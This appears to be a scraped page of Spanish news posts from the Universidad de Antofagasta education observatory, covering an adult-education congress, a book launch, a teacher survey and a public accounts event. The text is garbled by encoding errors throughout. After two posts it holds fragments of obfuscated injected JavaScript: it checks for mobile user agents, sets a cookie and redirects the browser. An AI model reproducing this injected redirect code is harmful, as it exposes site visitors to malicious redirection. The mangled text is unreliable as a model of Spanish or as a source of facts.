Observatorio Educacional UA expuso en el VI Congreso de EducaciA?n para Personas JA?venes y Adultas

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La actividad tuvo como objetivo compartir las experiencias de los profesores en la educaciA?n de JA?venes y Adultos para ser replicadas en diversas escuelas del paAi??s.

Observatorio Educacional exponiendo sobre Las PrA?cticas Reflexivas.

El Observatorio de EducaciA?n de la UA participA? del VI Congreso Nacional de Redes PedagA?gicas de EducaciA?n para Personas JA?venes y Adultas (EPJA) realizado en Iquique. El simposio, reuniA? a mA?s de 200 profesores de todo el paAi??s pertenecientes a lasAi??redes pedagA?gicas de la EPJA, ademA?s de expertos en EducaciA?n Comunitaria de Chile, Estados Unidos y Colombia.

Las jornadas organizadas por la SecretarAi??a Ministerial de EducaciA?n de TarapacA? y el Departamento Provincial de EducaciA?n de Iquique, estuvieron marcadas por las diversas propuestas en torno a la formaciA?n ciudadana y Derechos Humanos, poblaciA?n migrante y perspectiva de gAi??nero, diversidad sexual y estrategias pedagA?gicas.

Durante el tercer dAi??a de conferencias, el Observatorio de EducaciA?n expuso sobre las ai???PrA?cticas reflexivas: una estrategia de desarrollo para favorecer los aprendizajes de todos y todasai???, las cuales tienen por finalidad mejorar el quehacer docente mediante las estrategias de formaciA?n, donde los elementos principales son el anA?lisis de las experiencias de cada profesional en su contexto.

Para el doctor en SociologAi??a y director del Observatorio Educacional Pablo Camus, el congreso permitiA? fortalecer la Red PedagA?gica de JA?venes y Adultos (EPJA), modalidad A?nica en el paAi??s que lleva aAi??os trabajando en procesos de mejoras desde la ejecuciA?n de la prA?ctica de los docentes.

Camilo JimAi??nez junto al equipo del Observatorio.

ai???Es fundamental la consolidaciA?n de la Red Universitaria de JA?venes y Adultos, Ai??donde la Universidad de Antofagasta tiene un importante papel en la zona norte,Ai?? porque somos considerados en distintas regiones como un actor importante en esta modalidadai???, seAi??alA?.

AdemA?s, el Ministerio de EducaciA?n junto al Observatorio de EducaciA?n, invitaron al encuentro al profesor Camilo JimAi??nez de la Universidad PedagA?gica Nacional de Colombia, quien presentA? experiencias interculturales desarrolladas en su paAi??s en la modalidad educativa de la EPJA. ar _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Observatorio Educacional lanza libro sobre el sistema educativo de la regiA?n

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La actividad se realizarA? este miAi??rcoles en la Biblioteca Regional.

La actividad se realizarA? este miAi??rcoles en la Biblioteca Regional.

El lanzamiento se realizarA? el miAi??rcoles 14 de junio a las 12 del dAi??a en el auditorio de la Biblioteca Regional

El equipo del Observatorio de EducaciA?n de la Universidad de Antofagasta, presentarA? a la comunidad el libro, ai???La escuela y sus actores ante un perAi??odo de cambios, elementos para un diagnA?stico del sistema educativo de la RegiA?n de Antofagastaai???. Dicha actividad, se llevarA? a cabo este miAi??rcoles 14 de junio y serA? abierto para todo el pA?blico.

El informe, realizado por el doctor en SociologAi??a, Pablo Camus, el magister en PsicologAi??a Educacional, NicolA?s Ponce DAi??az y el licenciado en EstadAi??stica, Gabriel A?lvarez Morgado, busca individualizar y caracterizar lo elementos que configuran el sistema educativo a nivel escolar regional. AdemA?s, de entregar informaciA?n clave para el desarrollo y evaluaciA?n de polAi??ticas en el campo educativo, para plantear procesos de mejora tomando en cuenta las caracterAi??sticas territoriales.

Para el director del Observatorio, Pablo Camus, el texto es el primero de muchos trabajos que desarrollan con la finalidad de fortalecer el sistema educativo, en todos los rincones de la regiA?n. ai???Queremos comprometer y ayudar de alguna forma, a la posibilidad de que los niAi??os, jA?venes y adultos cumplan sus sueAi??os, y para esto, es importante que sus representaciones de la educaciA?n tengan una plataforma donde las personas se reconozcanai???, comentA? Camus.

El texto, estA? estructurado en dos gran partes, donde la primera de ellas se centra en el anA?lisis del sistema educativo chileno, tanto en su integraciA?n y comparaciA?n con el contexto internacional, como en el anA?lisis de su funcionamiento a nivel nacional. Mientras que la segunda parte, se centra en el anA?lisis descriptivo del sistema escolar regional (profesores, estudiantes y establecimientos).

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Observatorio de EducaciA?n presentA? instrumento perfil docente de EPJA

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Equipo del Observatorio junto a docentes.

Equipo del Observatorio junto a docentes.

 

La encuesta, evaluarA? a los docentes y a todos quienes contribuyan con la enseAi??anza para jA?venes y adultos de la regiA?n de Antofagasta.

El equipo del Observatorio de EducaciA?n, se reuniA? con la Red de EducaciA?n para JA?venes y Adultos de la RegiA?n de Antofagasta, con el objetivo de enseAi??ar el instrumento que busca evaluar el perfil docente de quienes formen parte del desarrollo educativo de jA?venes y adultos.

Le reuniA?n realizada en el Liceo TAi??cnico de Antofagasta, contA? con la presencia de profesores de Tocopilla, Calama y Antofagasta, quienes serA?n los encargados de la divulgaciA?n y realizaciA?n correcta de la encuesta que se iniciarA? este martes a primera hora de la maAi??ana.

A travAi??s del correo electrA?nico se adjuntarA? el link del instrumento, el que se encuentra en la pA?gina web del Observatorio de EducaciA?n para la InnovaciA?n. La realizaciA?n de la encuesta tiene un margen de dos semanas, teniendo como fecha de tAi??rmino el dAi??a lunes 12 de junio a las 23:59 horas.

AdemA?s, docentes de otros establecimientos presentaron los distintos mA?dulos y actividades que realizan a los jA?venes y adultos, con la finalidad de lograr mayor interAi??s e integraciA?n de ellos a la formaciA?n educativa.

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Observatorio Educacional UA, participA? en la cuenta pA?blica de EducaciA?n

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Seremi de EducaciA?n junto a profesores, alumnos y apoderados

Seremi de EducaciA?n junto a profesores, alumnos y apoderados

La actividad se realizA? en el auditorio de la Biblioteca regional, y se desarrollA? como una instancia de acciA?n participativa, para debatir y reflexionar sobre la reforma educacional.

El equipo del Observatorio de EducaciA?n de la Universidad de Antofagasta, junto al Departamento de EducaciA?n y el programa ICEC (IndagaciA?n CientAi??fica para la EducaciA?n en Ciencias) de la misma instituciA?n, participaron en la cuenta pA?blica participativa de la Seremi de EducaciA?n, Jacqueline Barraza Venegas, quien destacA? la implementaciA?n de la reforma educacional.

La actividad, consistiA? en un diA?logo ciudadano, donde nueve grupos conformados por acadAi??micos, profesores, alumnos y autoridades, entablaron una conversaciA?n respecto a los diversos puntos que plantea la reforma educacional, para luego debatir y reflexionar sobre las medidas.

Para el Director del Observatorio, Pablo Camus, la ocasiA?n permitiA? reflexionar sobre las distintas instancias de reforma de educaciA?n, como la ley de inclusiA?n, la carrera docente y la educaciA?n parvularia, ademA?s de ver en detalle la posiciA?n de la universidad frente al proceso.

Mientras que el Director del Departamento de EducaciA?n, Manuel Rojas Araya, destacA? las gestiones del gobierno por invertir en infraestructura y programas especiales que tienen que ver con la inclusiA?n y participaciA?n. AdemA?s, resaltA? el nuevo formato didA?ctico que se utilizA? en esta oportunidad, ai???me pareciA? muy dinA?mico, participativo y creo que nos dejA? a todos mA?s o menos claro que la reforma educacional, es un proceso que llegA? para instalarse, que va a requerir algunos ajustes, que son propios de todo proceso de esta envergaduraai???.

La cuenta pA?blica participativa, continuarA? el proceso en Tocopilla y Calama, para luego sistematizar la informaciA?n de diA?logos de la regiA?n y compararla con los resultados obtenidos en todo el paAi??s, para asAi?? promover cambios y soluciones a la educaciA?n nacional. \-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Observatorio Regional de EducaciA?n para la InnovaciA?n de la UA y EPJA se reunieron para comenzar el trabajo de este aAi??o

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El pasado 18 de enero se llevA? a cabo la primera reuniA?n en donde se acordaron los lineamientos que permitirA?n elaborar un diagnA?stico de la situaciA?n a nivel regional en la que se encuentra la EducaciA?n de JA?venes y Adultos (EPJA) para luego ejecutar acciones en pos de las transformaciones educativas en esta materia.

Con el objetivo de elaborar un diagnA?stico regional respecto a la EducaciA?n de JA?venes y Adultos (EPJA) y ejecutar acciones que permitan avanzar en las transformaciones educativas que requiere el paAi??s, el Observatorio Regional de EducaciA?n para la InnovaciA?n de la Universidad de Antofagasta concretA? una importante reuniA?n.

En la ocasiA?n, el equipo interdisciplinario del Observatorio se reuniA? con los coordinadores de EPJA, de la RegiA?n de Antofagasta, perteneciente al Mineduc, VAi??ctor DAi??az y Carlos Herrera, donde acordaron comenzar a trabajar en base a lAi??neas de acciA?n que permitan, en primera instancia, elaborar un diagnA?stico respecto al estado del arte en que se encuentra este nivel educacional en la regiA?n, desde la perspectiva de los directores y equipos de planificaciA?n en los centros que aplican esta modalidad educativa.

Otras lAi??neas investigativas que se analizaron se relacionan con variables de inserciA?n desde el momento en que el individuo toma la decisiA?n de retomar sus estudios, asAi?? como el levantamiento territorial de informaciA?n respecto del despliegue curricular de EducaciA?n para Adultos y JA?venes.

Asimismo, en la instancia los profesionales conversaron respecto a los posibles problemas que estarAi??a enfrentando actualmente la EducaciA?n en este nivel. Sin embargo, las respuestas mA?s claras se podrA?n obtener sA?lo en base a los resultados que arrojen las investigaciones que se lleven a cabo y que permitirA?n actuar con mayor precisiA?n y efectividad a corto, mediano y largo plazo.

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Jimena HerreraObservatorio Regional de EducaciA?n para la InnovaciA?n de la UA y EPJA se reunieron para comenzar el trabajo de este aAi??o